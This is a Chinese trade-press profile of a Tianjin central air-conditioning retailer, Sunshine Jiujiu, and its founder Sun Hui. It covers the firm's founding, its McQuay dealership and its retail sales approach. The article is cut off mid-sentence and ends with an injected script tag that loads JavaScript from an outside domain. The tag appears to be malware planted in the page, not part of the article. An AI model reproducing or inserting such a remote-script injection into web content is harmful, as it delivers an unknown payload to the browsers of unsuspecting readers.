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    天津中央空调零售业的战场上弥散着一股浓浓的火药味，微薄的利润、繁琐的程序已经使得许多企业纷纷“倒戈”，远离这片是非之地。天津市阳光久久科贸发展有限公司领导人——孙挥同样预测到了这一切，也感受到由这块领域所带来的压力，因此他决定将公司稍做转型，目前公司不仅开始慢慢从中央空调零售业转战于工装类项目中，而且为了配合家用及商用中央空调的使用，公司也增加了中央空气净化及中央新风系统这两大块业务。

    “关心您的冷暖的同时更加关心您的身体健康——空气品质”——这就是阳光久久开办以来一直坚持的准则。如今，孙挥和他的阳光久久正努力朝着这个方向奋斗着。

    天津市阳光久久科贸发展有限公司在天津的中央空调行业中的资历还不深，它是由孙挥一手创办，于2003年下半年才成立的。公司成立之初，创办人孙挥将其定位在中央空调的零售行业内发展，因为在2000年下半年至2003年上半年的这段时间里，孙挥在另外一家企业担任副总经理的职务，主要负责公司所代理的某外资品牌小型中央空调的零售业务，可以算得上是天津市最早做别墅和零售的小型中央空调的一批人员之一了，“从那个时候开始起步，我带领着我的团队把当时公司所代理品牌的零售做的空前不错，包括一直到现在也没有任何一个时期能赶超我们那个时候，天津市最早的一些高档住宅楼盘——世纪城、蓝水园一期等等，我们当时都将所代理品牌的零售做进去了，可以说是众多品牌中的佼佼者”。孙挥正是有了这样的项目经验作为铺垫，加上当时所在公司发生了一些变故等种种原因，他便于2003年下半年离职，独自出来打拼自己的事业，成立了天津市阳光久久科贸发展有限公司，就这样开始了他和他的阳光久久别样的旅程，当时孙挥就决定还是从自己拿手的小型中央空调零售业做起，经过后期的一些市场调查和多年来在市场中积累的经验，阳光久久最终选择了与麦克维尔合作。

    不过，与麦克维尔的合作并不有孙挥之前想象的那么顺利，由于孙挥是从麦克维尔的竞争对手品牌中出来后选择与麦克维尔合作的，所以刚开始麦克维尔都把孙挥当成了对手，对他存有戒心，即使是孙挥很诚恳的主动上门要求代理麦克维尔，还是很难获得麦克维尔的完全信任，无法拿到底价和优惠条件的孙挥并没有气馁，孙挥认为，“既然选择了，就要坚持下去，要么不做，要做就要让对方看到疗效，而不能只让他们听我们嘴上说的广告”，所以在与麦克维尔进一步的沟通过程中，孙挥拿出了2003年上半年所做的一些项目合同，“对方看后很惊讶，也很佩服，他们不仅看到了我们的诚意，而且我也向他们表示我们公司是很有能力在竞争中获胜的，阳光久久虽然在行业中的资历不深，但是却非常善于竞争，尤其是在一些别墅和高档住宅楼盘中特别擅长”，就这样经过了多次的交谈之后，双方最终达成了一致，阳光久久也开始顺利代理麦克维尔小型中央空调机组，继续从事中央空调零售行业之路。

    对于所擅长的领域，孙挥和他的团队并没有掉以轻心，年轻的阳光久久还没有经历过多少磨练，但是在2004年的一年里，阳光久久就凭借自身的优势和整个团队的努力拼搏，做到了天津麦克维尔分公司零售商中的第一，孙挥对麦克维尔小型中央空调系列机型各个参数的了解甚至比麦克维尔分公司的业务员还要熟悉，阳光久久没有让麦克维尔失望，它的确是一个善于竞争的务实者，不仅让麦克维尔看到了疗效，更让麦克维尔零售渠道在天津市场上的份额进一步得到扩大。

    “麦克维尔给我提供了一个很好的平台，虽然麦克维尔当时的市场做的并不好，但是它有它的优势，首先，它也靠在四大美资品牌里面，虽然大家都感觉特灵、开利要好些，但是麦克维尔在世界上的业绩也是非常卓著的；其次，它的产品系列全，而且价格比较有优势，所以在竞争的时候容易胜出。”孙挥对麦克维尔的感情颇深，也比较钟情，而且多年来的合作也非常愉快，他认为，好的平台配合好的销售模式才是成功的关键，“挖掘出每个品牌的优势是最重要的，而怎么去挖掘，并不是像常人想象的那样，非得去攻击某个品牌的劣势，其实只要讲自己品牌的优势就行了，说不定那正好就是别人的劣势，因为优势不可能都是一样的，只要抓住了这一点，那么下一个所要做的工作就是耐心、细致、周到”，因为中央空调零售不同于做项目，零售是要和一户户的终端业主不断接触与沟通，最后还要一户户的去承担维保、售后等一系列的服务工作的，而且?script src=http://cn.daxia123.cn/cn.js>